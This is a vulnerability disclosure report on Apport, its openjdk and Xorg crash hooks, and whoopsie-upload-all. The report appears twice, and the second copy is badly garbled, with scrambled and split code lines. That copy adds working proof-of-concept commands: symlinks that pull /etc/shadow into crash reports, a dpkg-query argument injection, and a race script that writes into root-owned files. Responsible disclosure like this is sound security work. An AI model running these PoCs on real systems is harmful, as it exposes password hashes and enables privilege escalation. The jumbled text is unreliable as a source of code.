# Vulnerabilities in Apport
During a cursory code review, several potential security issues in `apport` and
crash-related hooks in packages such as `Xorg` and `openjdk-14-lts` have been
identified.
While the issue regarding the `openjdk-14-lts` package is exploitable
on default installations, the remaining issues most likely are mitigated by
the sysctl setting `fs.protected_symlinks` on default Ubuntu installations.
With regard to issues mitigated by `fs.protected_symlinks`, it is not clear if
they are considered to be part of the threat model, but nonetheless will be
included in this report. Further, if the issues regarding package hooks should
be reported in the corresponding packages' bug tracker, please let me know.
## Issue 1: Arbitrary file read in package-hooks/source_openjdk-*.py (Medium)
The `add_info()` function allows for a directory traversal by building a file
path using user-controlled data without properly sanitizing the resulting path.
```Python
def add_info(report, ui=None):
if report['ProblemType'] == 'Crash' and 'ProcCwd' in report:
# attach hs_err_<pid>.pid file
cwd = report['ProcCwd']
pid_line = re.search("Pid:\t(.*)\n", report["ProcStatus"])
if pid_line:
pid = pid_line.groups()[0]
path = "%s/hs_err_pid%s.log" % (cwd, pid)
# make sure if exists
if os.path.exists(path): content = read_file(path)
# truncate if bigger than 100 KB
# see LP: #1696814 max_length = 100*1024
if sys.getsizeof(content) < max_length: report['HotspotError'] = content report['Tags'] += ' openjdk-hs-err' else: report['HotspotError'] = content[:max_length] + \ "\n[truncated by openjdk-11 apport hook]" + \ "\n[max log size is %s, file size was %s]" % \ (si_units(max_length), si_units(sys.getsizeof(content))) report['Tags'] += ' openjdk-hs-err'
```
By injecting a `ProcCwd` such as `/home/user/` and a `Pid` such as `0`, the
function includes an arbitrary file by following a potential symbolic link
`/home/user/hs_err_pid0.log`.
## Issue 2: Arbitrary file read in package-hooks/source_xorg.py (Info)
The root cause of this issue stems from the fact, that a potentially
user-controlled file in the `/tmp` directory is not checked for being a symbolic
link and therefore might allow including arbitrary files in the processed
crash report:
## Issue 3: Spoof modified configuration files via argument injection (Info)
The `get_modified_conffiles()` function allows to spoof modified configuration
files by a controlled package name:
By supplying a `package` name such as `--showformat='${Conffiles;6}shadow 1\n'`
it is possible to manipulate dpkg-query's output and therefore to include the
`shadow` file in the resulting crash report.
Please note however that this function is seemingly only called
in the `attach_conffiles()` function, which subsequently requires a UI response
of the user to finally include the file in the crash report.
## Issue 4: Arbitrary file write in whoopsie-upload-all (Info)
After adding additional information to the crash file, `whoopsie-upload-all`
does not check if the crash file was replaced by a symbolic link before
writing the extended report back into the file. Thus, replacing the crash
file with a symbolic link allows to write into arbitrary files using
`whoopsie-upload-all`'s elevated privileges. By using a program's lax
configuration parsing (e.g. `logrotate`), this might lead to code execution.
Note: Requires `fs.protected_symlinks=0`
```Python
def process_report(report):
'''Collect information for a report and mark for whoopsie upload
...
# write updated report, we use os.open and os.fdopen as
# /proc/sys/fs/protected_regular is set to 1 (LP: #1848064)
fd = os.open(report, os.O_WRONLY | os.O_APPEND)
with os.fdopen(fd, 'wb') as f: os.chmod(report, 0) r.write(f, only_new=True) os.chmod(report, 0o640)
```
# Credits
Please credit <email address hidden> (@fktio) if the issues are considered
valid. Further, please coordinate the patch release date with us, in case we
consider publishing a short article about these issues.
# Vulnerabilities in Apport
During a cursory code review, several potential security issues in `apport` and
crash-related hooks in packages such as `Xorg` and `openjdk-14-lts` have been
identified.
While the issue regarding the `openjdk-14-lts` package is exploitable symlinks` on default Ubuntu installations.
on default installations, the remaining issues most likely are mitigated by
the sysctl setting `fs.protected_
With regard to issues mitigated by `fs.protected_ symlinks` , it is not clear if
they are considered to be part of the threat model, but nonetheless will be
included in this report. Further, if the issues regarding package hooks should
be reported in the corresponding packages' bug tracker, please let me know.
## Issue 1: Arbitrary file read in package- hooks/source_ openjdk- *.py (Medium)
The `add_info()` function allows for a directory traversal by building a file
path using user-controlled data without properly sanitizing the resulting path.
```Python 'ProblemType' ] == 'Crash' and 'ProcCwd' in report: "Pid:\t( .*)\n", report[ "ProcStatus" ]) groups( )[0] err_pid% s.log" % (cwd, pid) exists( path):
content = read_file(path)
max_length = 100*1024 content) < max_length:
report[ 'HotspotError' ] = content
report[ 'Tags'] += ' openjdk-hs-err'
else:
report[ 'HotspotError' ] = content[ :max_length] + \
"\n[truncated by openjdk-11 apport hook]" + \
"\n[max log size is %s, file size was %s]" % \
(si_units( max_length) , si_units( sys.getsizeof( content) ))
report[ 'Tags'] += ' openjdk-hs-err'
def add_info(report, ui=None):
if report[
# attach hs_err_<pid>.pid file
cwd = report['ProcCwd']
pid_line = re.search(
if pid_line:
pid = pid_line.
path = "%s/hs_
# make sure if exists
if os.path.
# truncate if bigger than 100 KB
# see LP: #1696814
if sys.getsizeof(
```
By injecting a `ProcCwd` such as `/home/user/` and a `Pid` such as `0`, the user/hs_ err_pid0. log`.
function includes an arbitrary file by following a potential symbolic link
`/home/
### PoC
```
$ sudo apt install openjdk-14-jdk
$ sudo sysctl fs.protected_ symlinks symlinks = 1
fs.protected_
$ ln -s /etc/shadow /home/user/ hs_err_ pid0.log
$ pid=$'\t0';cat << EOF > /var/crash/ poc.crash
ProblemType: Crash
ExecutablePath: /poc
Package: openjdk-lts 123
SourcePackage: openjdk-lts
ProcCwd: /home/user
ProcStatus:
Pid:$pid
Uid:$pid
EOF
$ grep -A3 root: /var/crash/ poc.crash :18393: 0:99999: 7::: *:18375: 0:99999: 7::: 18375:0: 99999:7: :: 18375:0: 99999:7: ::
root:!
daemon:
bin:*:
sys:*:
```
## Issue 2: Arbitrary file read in package- hooks/source_ xorg.py (Info)
The root cause of this issue stems from the fact, that a potentially
user-controlled file in the `/tmp` directory is not checked for being a symbolic
link and therefore might allow including arbitrary files in the processed
crash report:
Note: Requires `fs.protected_ symlinks= 0`
```Python 3d_info( report, ui=None):
def attach_
...
# Compiz internal state if compiz crashed get('SourcePack age','Unknown' ) == "compiz" and "ProcStatus" in report: "Pid:\t( .*)\n", report[ "ProcStatus" ])
compiz_ pid = pid_line. groups( )[0]
compiz_ state_file = '/tmp/compiz_ internal_ state%s' % compiz_pid
attach_ file_if_ exists( report, compiz_state_file, "compiz_ internal_ states" )
if True or report.
compiz_pid = 0
pid_line = re.search(
if pid_line:
```
### PoC symlinks= 0 symlinks = 0
```
$ sudo sysctl fs.protected_
fs.protected_
$ ln -s /etc/shadow /tmp/compiz_ internal_ state0
$ cat << EOF > /var/crash/ poc.crash
ProblemType: Crash
ExecutablePath: /poc
Package: source_xorg 123
SourcePackage: compiz
ProcStatus:
Pid:
EOF
$ grep -A3 compiz_internal poc.crash internal_ states: :18686: 0:99999: 7::: *:18474: 0:99999: 7::: 18474:0: 99999:7: ::
compiz_
root:!
daemon:
bin:*:
```
## Issue 3: Spoof modified configuration files via argument injection (Info) conffiles( )` function allows to spoof modified configuration
The `get_modified_
files by a controlled package name:
```Python conffiles( self, package): Popen([ 'dpkg-query' , '-W', '--showformat= ${Conffiles} ',
package] , stdout= subprocess. PIPE)
def get_modified_
...
dpkg = subprocess.
```
By supplying a `package` name such as `--showformat= '${Conffiles; 6}shadow 1\n'`
it is possible to manipulate dpkg-query's output and therefore to include the
`shadow` file in the resulting crash report.
Please note however that this function is seemingly only called conffiles( )` function, which subsequently requires a UI response
in the `attach_
of the user to finally include the file in the crash report.
### PoC '${Conffiles} ' --showformat= '${Conffiles; 6}shadow 1\n' | head -n2
```
$ dpkg-query -W --showformat=
/etc/shadow 1
shadow 1
```
## Issue 4: Arbitrary file write in whoopsie-upload-all (Info) upload- all` upload- all`'s elevated privileges. By using a program's lax
After adding additional information to the crash file, `whoopsie-
does not check if the crash file was replaced by a symbolic link before
writing the extended report back into the file. Thus, replacing the crash
file with a symbolic link allows to write into arbitrary files using
`whoopsie-
configuration parsing (e.g. `logrotate`), this might lead to code execution.
Note: Requires `fs.protected_ symlinks= 0`
```Python report( report) : fs/protected_ regular is set to 1 (LP: #1848064)
os. chmod(report, 0)
r. write(f, only_new=True)
os. chmod(report, 0o640)
def process_
'''Collect information for a report and mark for whoopsie upload
...
# write updated report, we use os.open and os.fdopen as
# /proc/sys/
fd = os.open(report, os.O_WRONLY | os.O_APPEND)
with os.fdopen(fd, 'wb') as f:
```
### PoC symlinks symlinks = 0
```
$ sudo sysctl fs.protected_
fs.protected_
$ cat ex.sh var/crash/ $RANDOM. poc.crash" upload- all";then break; fi
TARGET="/JRN"
while :; do
FN="/
pid=$'\t0';cat << EOF > $FN
ProblemType: Crash
ExecutablePath: /poc
Package: openjdk-lts 123
SourcePackage: openjdk-lts
ProcCwd: /home/user
ProcStatus:
Pid:$pid
Uid:$pid
EOF
while :; do
if ps aux|grep -q "[w]hoopsie-
done
sleep 0.3
rm -f $FN
ln -s $TARGET $FN
if [ -s /JRN ]; then echo DONE.; break; fi
done
$ sudo touch /JRN; ls -l /JRN # simulating file in e.g. /etc/logrotate.d/
-rw-r--r-- 1 root root 0 M�r 3 14:15 /JRN
$ bash ex.sh
DONE.
$ ls -l /JRN; sudo head -n3 /JRN 0ubuntu27. 16 esult: skip
-rw-r----- 1 root root 105028 M�r 3 14:16 /JRN
ApportVersion: 2.20.11-
Architecture: amd64
CasperMD5CheckR
```
# Credits
Please credit <email address hidden> (@fktio) if the issues are considered
valid. Further, please coordinate the patch release date with us, in case we
consider publishing a short article about these issues.
Best regard,
maik